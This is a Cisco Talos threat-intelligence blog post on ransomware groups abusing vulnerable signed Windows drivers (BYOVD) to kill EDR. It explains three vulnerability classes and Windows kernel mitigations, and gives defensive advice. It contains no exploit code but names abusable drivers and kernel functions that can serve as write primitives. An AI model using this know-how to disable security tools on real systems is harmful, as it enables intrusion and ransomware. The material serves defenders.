With the wide availability of EDR bypassing tools exploiting vulnerable drivers, it is not a surprise that the exploitation moved from the domain of advanced threat actors into the domain of commodity threats, primarily ransomware. We document here some of the known ransomware groups employing the BYOVD technique.  

January – Kasseika  

In January 2024, Kasseika ransomware operators abused a vulnerable driver, “viragt64.sys”, which is part of the legitimate VirIT antivirus software, to disable a pre-determined list of 991 processes related to security tools and system utilities. The ransomware-as-a-service (RaaS) operation has been active since 2023 and uses double extortion techniques but does not operate a data leak site. In recent attacks, the ransomware first executes a script to load various tools, such as a malicious executable named “Martini.exe” and the vulnerable driver that is renamed “Martini.sys”. Next, Kasseika will create and start a new service whereby the driver is loaded into the malicious executable.   

The executable starts scanning the environment for the hard-coded list of processes and, if detected, a control code is sent to the driver enabling it to terminate processes.  

March – Akira  

In March 2024, Akira has been observed abusing the legitimate, signed Zemana anti-malware kernel driver “zamguard64.sys” via PowerTool to disable EDR at the kernel level. The exploitation of the Zemana zamguard driver was a main component of the popular Terminator EDR killer tool listed for sale on illicit marketplaces beginning May 2023.  

July – Qilin   

In July 2024, the Qilin ransomware group, another group operating under a Raas model, was observed using a new malware dubbed “Killer Ultra” within an attack. Killer Ultra has a plethora of capabilities, including the ability to terminate security tools with a BYOVD technique, abusing a known arbitrary process termination vulnerability impacting Zemana Anti-Keylogger driver “ ”, tracked as CVE-2024-1853. The vulnerability enables attackers with the ability to terminate processes. Upon execution, Killer Ultra unpacks the vulnerable driver and creates a new service to looks for and disable a list of security tools.    

July – BlackByte  

Talos recently observed and documented developments in recent BlackByte attacks in July 2024 leveraging BYOVD to facilitate host encryption. The newer encryptor variant was observed dropping four vulnerable drivers as part of BlackByte’s usual BYOVD attack chain, which is an increase from the two or three drivers described in previous reports.These drivers consisted of RtCore64.sys, a driver originally used by MSI Afterburner a system overclocking utility, DBUtil_2_3.sys, a driver that is part of the Dell Client firmware update utility, zamguard64.sys, a part of the previously mentioned Zemana Anti-Malware (ZAM) application exploited by other threat actors, and gdrv.sys, a component of is the GIGABYTE tools software package for GIGABYTE motherboards. 

These four drivers were renamed and dropped by the encryptor binary in all BlackByte attacks investigated by Cisco Talos Incident Response (Talos IR), each with a similar naming convention. The nomenclature for the vulnerable drivers consisted of eight random alphanumeric characters followed by an underscore and an iterating number value.  

August – RansomHub  

In August 2024, RansomHub ransomware actors were observed using a new malware known as EDRKillShifter to disable security tools prior to executing the ransomware binary. The EDRKillShifter can act as a loader for a vulnerable legitimate driver that, once exploited, can facilitate persistent defense evasion. Recent exploits used by the adversary are related to POCs found on Github leveraging RentDrv2, while the other exploited a driver called ThreatFireMonitor. The adversary initiated the process by launching the password-protected EDRKillShifter binary, which decrypts and executes an embedded resource in memory, unpacking and executing a payload to exploit the target vulnerable legitimate driver to escalate privileges and disable active EDR processes.  

The malware then created and started a new service for the driver, loading it into the system. Finally, it continuously scanned for and terminated processes that match a hardcoded list of targets, for persistent defense evasion even on reboot.  

The adoption of the BYOVD technique by RansomHub and Qilin may be linked to members of the financially motivated threat group Scattered Spider joining forces with these ransomware groups.  The new partnership was identified and disclosed in public reporting in July 2024, but it is possible the relationship was already well established before then. Scattered Spider members are known for employing BYOVD tactics since at least December 2022.  

 

Windows drivers and vulnerabilities 

Creating malicious Windows drivers is increasingly difficult 

Creating a new malicious Windows kernel driver is becoming increasingly difficult. New Windows drivers must be signed with a valid extended validation (EV) certificate by the developer, pass the Microsoft Hardware Lab Kit (HLK) compatibility tests, and be signed by the Microsoft Dev Portal.  

However, this complex process, introduced for any newly created Windows kernel or user mode driver, does not apply to existing drivers, which means that legacy drivers signed with valid certificates will still be loaded into the Windows kernel space.  

Installing and exploiting existing legacy vulnerable drivers may be one of the very few ways to make changes to kernel data structures or execute code in kernel, as drivers have the same permissions as any other Windows kernel component.  

Microsoft introduced a blocklist of known vulnerable drivers to tackle this issue. At the beginning, the list was included into the Windows Defender Application Control feature and was superseded by the Windows Security application in newer Windows versions.  

Although the vulnerable drivers block list is turned on by default in systems running the Windows 11 2022 update or with systems with hardware virtualization code integrity (HVCI) turned on, there are still many systems which can be attacked by deploying a vulnerable driver or any newly discovered vulnerable driver that is not already on the blocklist.   

Common classes of vulnerabilities in BYOVD drivers 

While investigating vulnerable Windows kernel drivers commonly used by threat actors for BYOVD campaigns, we identified three classes of vulnerabilities that are typically exploited: arbitrary MSR writes, arbitrary kernel memory writes, and insufficient access controls to driver’s functionality. This classification is not strict, and one driver can belong to multiple classes of vulnerabilities.  

Arbitrary MSR read/write vulnerabilities 

To consider this class of vulnerabilities, we first need to introduce CPU model specific registers (MSRs). MSRs are additional CPU registers that are used by the CPU and the operating system for various purposes, including regulation of caching mechanism, regulation of fan speed, or transition from user mode into kernel mode. The MSRs can be addressed by their specific number, and some of them also have human readable names.  

 As a reminder, the transition from kernel to user mode happens in the lowest user mode DLL layer, usually “ntdll.dll”, when a system call number is placed into register rax and the syscall or the “int 0x2e” instruction is executed. During the transition, the syscall instruction updates the Instruction Pointer (RIP) and sets it to the address of the system call handler in the kernel as well as the Stack Pointer (RSP) to point to a stack in kernel space. 

The first function to run is “KiSystemCall64”, and a question one can ask is how do Windows know where to start the execution in kernel mode? The answer lies in a MSR specifically used during user to kernel mode transition. For 64-bit Windows systems, it is the IA32_LSTAR (MSR 0xC0000082), which contains the address of the kernel-mode entry point for the syscall instruction, typically the KiSystemCall64 function. 

By having the ability to write content into arbitrary MSRs, attackers may be able to replace the pointer to KiSystemCall64 with the pointer to a malicious function that can run code in the kernel context.  

As an example of a driver vulnerable to arbitrary MSR modifications, we chose WinRing0 driver, which is commonly used by XMRig cryptocurrency mining software to disable some processor features such as caching, to increase the performance of the miner. WinRing0 is also included in many open and closed source programs. Unfortunately, the driver is also exposed to an arbitrary MSR write vulnerability which can lead to kernel mode code execution in versions of Windows prior to Windows 8 or to escalation of privileges in later Windows versions. This method is mitigated in the latest Windows versions with the latest exploit mitigations, such as Virtualization Based Security (which will be discussed later in the post), which is enabled by default.    

Arbitrary kernel physical memory read/write vulnerabilities 

The second class of vulnerabilities in frequently used BYOVD drivers is the arbitrary kernel memory write class. Here, a driver functionality to write arbitrary memory is used as a write primitive to deploy shellcode into kernel memory or change important kernel data structures to achieve escalation of privileges for a malicious user mode process.  

A significant number of drivers with this class of vulnerability exists, and most of them are well documented. Readers are referred to the loldrivers project to find examples of vulnerable drivers allowing kernel memory write.  

Any driver that uses one of the following kernel functions for may be regarded as a candidate for this class of vulnerabilities, although further analysis is almost always required to conclude that a user buffer and the target address can be supplied to the driver through a user-accessible device I/O control code (IOCTL): 

Access to Physical Memory 
MmMapIOSpace() 
ZwMapViewOfSection()
  
PCI Config Space Access 
HalSetBusDataByOffset() 
HalGetBusDataByOffset()
  
Memory Copying Operations 
memcpy() 
memmove() 

A good example of this vulnerability group is CVE-2022-3699, a vulnerability in a Lenovo driver that allows arbitrary memory reading and writing.  

 

Misusing existing functionality in Windows drivers with insufficient access controls 

The third and the last class of vulnerabilities used by threat actors in attacks using BYOVD drivers is misusing existing driver functionality caused by insufficient access controls.  

INF files are files used during a driver’s installation, and among other things, they also contain permissions for the driver, specified using the SDDL language. The Security Descriptor Definition Language (SDDL) is a domain specific language that allows components to generate access control lists (ACLs) using a string format. It is utilized in both user-mode and kernel-mode programming. The diagram below illustrates how SDDL strings are structured for device objects. 

The access value specifies the type of access allowed. The SID value specifies a security identifier that determines to whom the access value applies (for example, a user or group). For example, string “D:P(A;;GA;;;SY)(A;;GR;;;WD)” allows the system (SY) access to everything and allows everyone else (WD) only read access.  

 

Programming Windows kernel drivers has a steep learning curve and, as a consequence, many drivers contain code that is copied from templates and example drivers, including their SDDL access permissions. When a driver is created, it is likely that its access permissions will be inadequate and will allow unprivileged users access to functionality that should otherwise be available to users with higher privilege levels.  

A good example of a vulnerable driver with insufficient permissions would be an old version of an antimalware software driver “viragt64.sys” (VirIT Agent System) developed by TG Soft, which exposes the functionality of terminating a process from the kernel mode to users with lower levels of privileges. This driver is used by ransomware threat actors such as Kasseika to terminate other antimalware and EDR products.  

In addition to documenting different classes of vulnerabilities in frequently used BYOVD drivers, we also investigated the most common payloads delivered by threats and potentially unwanted applications after exploiting vulnerable drivers and classified them into several groups including local escalation privileges, loading of unsigned code and bypassing EDR functionality.   

Modern Windows mitigations and vulnerable drivers 

Loading malicious code into kernel memory is one of the most powerful payloads attackers can use. This approach was frequently employed in the early days of Windows, prior to Windows Vista, when there were no requirements to sign drivers. The ability to load unsigned code into kernel mode was an incentive for the creation of several Windows kernel rootkits, such as Sinowal or TDL4, designed to hide the presence of malicious payloads from defenders by modifying kernel programs and data structures.  

To respond to those threats and kernel exploitation in general, Microsoft introduced kernel patch protection (KPP), better known as Patch Guard, in x64 versions of Windows XP SP3. This was followed by the requirement for drivers to be signed in x64 Windows Vista.  

The introduction of the mitigations into the Windows kernel sparked a race between threat actors and Microsoft. Attackers quickly responded to newly introduced mitigations by showing how digital signature enforcement can be turned off in a race with the Patch Guard, and Microsoft responded with more mitigations. Over time, the exploitation of Windows kernels became increasingly challenging.   Next, we will briefly describe only four significant anti-exploitation features implemented with Windows 10 and 11.  

Virtualization-Based Security (VBS) 

Virtual Trust Levels (VTLs) are a key concept within Virtualization-Based Security (VBS), designed to enhance system security by creating isolated execution environments. VTLs leverage hardware virtualization to separate and protect sensitive processes from potentially less secure code running in the main operating system. 

VTLs are essentially different security levels or “worlds” within the same physical machine, each providing a different level of trust. The main goal of VTLs is to isolate trusted operations and data from the rest of the system to prevent tampering. In Windows, there are two main VTL levels.  

• VTL0: This is the standard trust level, where the traditional operating system and all user-mode and kernel-mode applications run.  

• VTL1: This is a higher trust level used to execute sensitive security functions and store critical data. It is isolated from VTL0, meaning that operations in VTL0 cannot directly access or modify the code and data in VTL1. VTL1 is used to store sensitive information like encryption keys, password hashes, and security tokens (credentials guard).  

 

 By running different parts of the kernel in different trust levels, effectively different virtual machines, Windows can use Second Level Address Translation (SLAT) to create different access permissions for memory pages depending on the source of access.  

Essentially, in a process similar to shadowing page tables, VBS enforces exclusive write or execute page access permission. In other words, if a code from VTL0 attempts to change its own page table permissions from writable to executable this will be detected by the VTL1 and the data in the page still won’t be able to execute.  

This mechanism is one of the key features of another important mitigation, Hypervisor-Protected Code Integrity (HVCI). 

Hypervisor-Protected Code Integrity (HVCI) 

When Hypervisor-protected Code Integrity (HVCI) is enabled on a Windows system, it enforces control over memory page permissions to mitigate executable code injection. HVCI is designed so that only verified and trusted code is executed in kernel mode, and it applies policies to manage how memory pages can be used and modified. 

One of the important features enforced by HVCI (and supported by modern CPUs) is the prevention of pages being simultaneously writable and executable. This policy is known as Write XOR Execute (W^X), which prevents memory pages from being both writable and executable at the same time.  

HVCI prevents direct execution of code from pages that were recently writable, unless specific security checks are passed. Before any code can execute from a page that has had its permissions altered, it must pass a code integrity check, ensuring it is signed by a trusted certificate. If the code does not meet these integrity requirements, execution will be blocked. HVCI attempts to ensure that any code running in kernel mode is signed with a valid certificate.  

Kernel Control Flow Guard (kCFG) 

Kernel Control Flow Guard (kCFG) is a security feature in Windows designed to protect the operating system’s kernel from certain types of attacks that attempt to manipulate the control flow of kernel-mode code. It builds on the principles of Control Flow Guard (CFG), used to secure user-mode applications. 

kCFG aims to prevent exploits that involve redirecting the control flow of kernel code to unintended or malicious locations which should prevent exploits that hijack the control flow by overwriting function pointers and other data used for indirect code execution.  

During the compilation of the Windows kernel, kCFG instruments the code to create valid address bitmap and any indirect call must finish at a target known at compile time. If the call is directed outside know target the system will cause a security check failure.   

Kernel shadow stack 

The primary purpose of the Windows kernel shadow stack is to ensure that the return addresses on the call stack cannot be tampered with, specifically to mitigate exploitation using Return Oriented Programming (ROP). 

The shadow stack maintains a separate, copy of return addresses parallel to the regular call stack. When a function call occurs, the return address is pushed onto both the regular stack and the shadow stack. Upon function return, the system verifies the return address against the shadow stack to ensure it has not been altered. The shadow stack in Windows is hardware assisted for better performance through Intel Control-Flow Enforcement Technology (CET) and AMD Shadow Stacks.  

Conclusion 

In recent years, Windows platform security has improved to effectively prevent deployment of newly developed malicious drivers. However, kernel mode threats of vulnerable legacy drivers remain a concern. Luckily there are a few things we can do to mitigate the risks and detect potential campaigns using BYOVD technique. 

This could include enforcement of Extended Validation (EV) and Windows Hardware Quality Labs (WHQL) certified drivers, preventing risks associated with legacy drivers. If the blocking of all legacy drivers is not possible, employing the Windows Defender Application Control (Windows Security) drivers blocklist is recommended way to prevent the execution of known vulnerable drivers. 

Apart from the above, for threat detection and response, it recommended to develop a capability to monitor driver load events, such as those recorded by Sysmon’s event ID 6.  

In summary, while Windows security has improved, maintaining vigilance against kernel mode threats requires adoption of best practices and monitoring techniques to protect against known and unknown driver vulnerabilities.  

References and further reading 

Posts and papers 

1. Exploring Malicious Drivers Part 1 – Cisco Talos 
2. Exploring Malicious Drivers Part 2 – Cisco Talos 
3. The Current State of Exploit Development, Part 1 – Connor McGarr, Crowdstrike 
4. The Current State of Exploit Development, Part 2 – Connor McGarr, Crowdstrike 
5. No Code Execution? No Problem! Living The Age of VBS, HVCI, and Kernel CFG – Connor McGarr 
6. Signed kernel drivers – Unguarded gateway to Windows’ core – Michal Poslušný, ESET 
7. An In-Depth Look At Windows Kernel Threats – TrendMicro 
8. Windows security model for driver developers – Microsoft 
9. Driver Signing Policy – Microsoft  
10. Driver code signing requirements – Microsoft 

Videos 

1. A Look at Modern Windows Kernel Exploitation/Hacking – Off By One Security podcast with Connor McGarr 
2. Windows Internals – By Alex Sotirov 
3. Kernel Mode Threats and Practical Defenses – Joe Desimone, Gabriel Landau, Endgame (now Elastic) 
4. Device Driver Debauchery and MSR Madness – Ryan Warns, Timothy Harrison – INFILTRATE 2019  
5. No Code Execution? No Problem!  – Connor McGarr 
6. Get Off the Kernel if You Can’t Drive – Jesse Michael, DEF CON 27 Conference  

Books 

1. Windows Internals 7^th Edition – Pavel Yosifovich, Alex Ionescu, Mark E. Russinovich, David A. Solomon, Published by Microsoft Press 
2. Windows NT Device Driver Development – Peter G. Viscarola & W. Anthony Mason, Published by New Riders Publishing 
3. Windows Kernel Programming – Pavel Yosifovich, Published by Pavel Yosifovich 

Cisco Talos Blog – ​Read More